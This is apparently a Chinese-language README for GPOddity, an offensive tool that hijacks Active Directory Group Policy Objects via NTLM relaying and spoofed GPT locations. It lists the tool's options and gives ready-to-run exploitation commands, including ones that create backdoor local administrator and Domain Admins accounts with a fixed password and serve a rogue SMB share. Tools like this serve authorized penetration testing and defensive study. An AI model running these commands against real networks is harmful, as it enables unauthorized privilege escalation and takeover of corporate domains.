GPOddity 项目旨在通过 NTLM 中继(及其他方式)实现 GPO 攻击向量的自动化。
有关攻击的更多详细信息以及如何使用该工具的演示,请参阅相关文章: https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more
你可以通过以下命令使用 pipx 安装 GPOddity:
$ python3 -m pipx install git+https://github.com/synacktiv/GPOddity
或者,你也可以通过克隆仓库并安装依赖项来手动安装 GPOddity:
$ git clone https://github.com/synacktiv/GPOddity
$ python3 -m pip install -r requirements.txt
$ python3 gpoddity.py --help
Usage: gpoddity.py [OPTIONS]
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --help 显示此帮助信息并退出。 │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ 通用选项 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --domain TEXT 目标域 [默认: None] [必填] │
│ * --gpo-id TEXT GPO 对象 GUID(不带花括号,例如 '1328149E-EF37-4E07-AC9E-E35920AD2F59')[默认: None] [必填] │
│ * --username TEXT 对 GPO AD 对象具有写入权限的用户名。可以是机器账户(例如 'SRV01$')[默认: None] [必填] │
│ --password TEXT 对 GPO AD 对象具有写入权限的用户密码 [默认: None] │
│ --hash TEXT 对 GPO AD 对象具有写入权限的用户的 NTLM 哈希,格式为 'LM:NT' [默认: None] │
│ --dc-ip TEXT [可选] 如果域名无法解析,则指定域控制器的 IP 地址。[默认: None] │
│ --ldaps [可选] 使用 LDAPS 替代 LDAP(端口 636) │
│ --verbose [可选] 启用详细输出 │
│ --just-clean [可选] 仅从 --clean-file 标志指定的文件中读取值并执行清理操作。可在利用不完整或非正常退出时用于清理。 │
│ --clean-file TEXT [可选] 包含要恢复值的文件(来自 'cleaning/' 文件夹),与 --just-clean 标志配合使用。路径相对于 GPOddity 安装文件夹或使用绝对路径。 │
│ [默认: None] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ 恶意组策略模板生成选项 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --command TEXT 应通过恶意 GPO 执行的命令 [默认: None] │
│ --powershell [可选] 使用 powershell 替代 cmd 来执行命令 │
│ --gpo-type [user|computer] [可选] 目标 GPO 的类型,可以是 'user' 或 'computer' [默认: computer] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ 组策略模板位置欺骗选项 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --rogue-smbserver-ip TEXT 托管恶意 GPT 的主机的 IP 地址或 DNS 名称。如果使用 GPOddity 的 SMB 服务器,应指定当前主机在内网中的 IP 地址(例如 192.168.58.101)。 │
│ [默认: None] │
│ --rogue-smbserver-share TEXT 提供恶意 GPT 的共享名称(例如 'synacktiv')。如果使用内置 SMB 服务器,请不要提供包含 'SYSVOL' 或 'NETLOGON' 的名称(默认受 UNC 路径硬化保护)。 │
│ [默认: None] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ SMB 服务器选项 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --machine-name TEXT [可选] 用于 Netlogon 身份验证的有效域机器账户名称(例如 SRV01$)。如果省略,将使用 --username 指定的用户,并假设其为有效的机器账户。 │
│ [默认: None] │
│ --machine-pass TEXT [可选] 如果指定了 --machine-name,则该机器账户的密码 [默认: None] │
│ --machine-hash TEXT [可选] 如果指定了 --machine-name,则该机器账户的 NTLM 哈希,格式为 'LM:NT' [默认: None] │
│ --comment TEXT [可选] 查询共享时显示的注释 [默认: None] │
│ --interface TEXT [可选] GPOddity SMB 服务器监听的接口 [默认: 0.0.0.0] │
│ --port TEXT [可选] GPOddity SMB 服务器监听的端口 [默认: 445] │
│ --smb-mode [embedded|forwarded|none] [可选] 'embedded'(内嵌)SMB 服务器将在本机运行 SMB 服务器。'forwarded'(转发)会将 SMB 流量转发至假域控制器(需要机器账户及其对应的 │
│ DNS 记录指向攻击者机器,生成的 GPT 需上传至假 DC)。'none' 将不运行任何 SMB 服务器(生成的 GPT 需上传至域中可写的 SMB 共享)。 │
│ [默认: embedded] │
│ --empty-gpo [可选] 默认情况下,GPOddity 会克隆目标 GPO 并添加恶意即时任务。如果指定此标志,将使用空 GPO 替代克隆合法 GPO(在某些边缘情况下有用, │
│ 即时任务可能与现有 GPO 融合不佳)。 │
│ --attacker-ip TEXT [可选] 攻击机在内网中的 IP 地址(用于 smb-mode 'forwarded') │
│ --forwarded-ip TEXT [可选] 假 DC 的 IP 地址,SMB 流量将被转发至此(用于 smb-mode 'forwarded') │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
以下是来自上述文章的一些示例命令。
利用计算机 GPO 添加本地管理员。SMB 模式为 'embedded'(内嵌):GPOddity 将在其内嵌 SMB 服务器上托管 GPT。
$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' \
--rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv'
利用用户 GPO 添加本地管理员。SMB 模式为 'none':GPOddity 将创建恶意 GPT,然后你需要将其上传至域中可写的共享。
$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --smb-mode 'none' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' \
--rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv'
利用用户 GPO 添加本地管理员。SMB 模式为 'forwarded'(转发):你需要添加一个指向 GPOddity 所在主机的 DNS 记录,该记录与一个机器账户关联。你需要提供假 DC 的 IP 地址,其密码与机器账户同步,并将恶意 GPT 上传至该假 DC。有关此模式的更多信息,请参见我的 Black Alps 2024 演讲(即将推出)。
$ python3 gpoddity.py --gpo-id 'B12968FB-EEEE-404A-A583-101A2E249BF9' --domain 'corp.com' --username 'lowpriv' \
--password '[...]' --command 'whoami > C:\poc_forwarded.txt' --gpo-type 'user' --rogue-smbserver-ip 'gpoddity.corp.com' \
--rogue-smbserver-share 'synacktiv' --smb-mode 'forwarded' --attacker-ip '192.168.123.16' --forwarded-ip '192.168.125.245'
使用 GPOddity 的优势之一是能够安全地利用 GPO,而不会修改合法的 GPT 文件,从而最大限度地降低对生产环境的干扰风险。然而,GPOddity 仍需要修改组策略容器(GPC)文件的部分属性,以临时欺骗 GPT 位置。因此,为确保生产环境正常运行,需要在利用后恢复这些更改。
默认情况下,如文章中所述,GPOddity 会在利用结束时(用户通过 CTRL+C 中断程序时)自动恢复对 GPC 所做的所有修改。因此,在正常情况下,你无需执行任何额外操作来确保清理。
但是,如果由于某些原因(进程被杀死、网络连接丢失等)无法通过 CTRL+C 优雅地退出 GPOddity,你可以使用 '--just-clean' 标志重新运行 GPOddity,以独立执行清理操作。
此功能的工作原理如下:每次运行 GPOddity 时,GPO 的初始状态会保存到 cleaning/[GPO ID]/[timestamp].txt 文件中。然后,你可以通过 '--just-clean' 标志恢复该保存文件中的所有值。例如,假设你想将 ID 为 '46993522-7D77-4B59-9B77-F82082DE9D81' 的 GPO 的所有属性恢复到 2023 年 10 月 14 日 08:08:44 运行 GPOddity 之前的状态。你可以运行以下命令:
$ python3 gpoddity.py --just-clean --domain 'corp.com' --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --username 'GPODDITY$' --password '[...]' --clean-file cleaning/46993522-7D77-4B59-9B77-F82082DE9D81/2023_10_14-08_08_44.txt
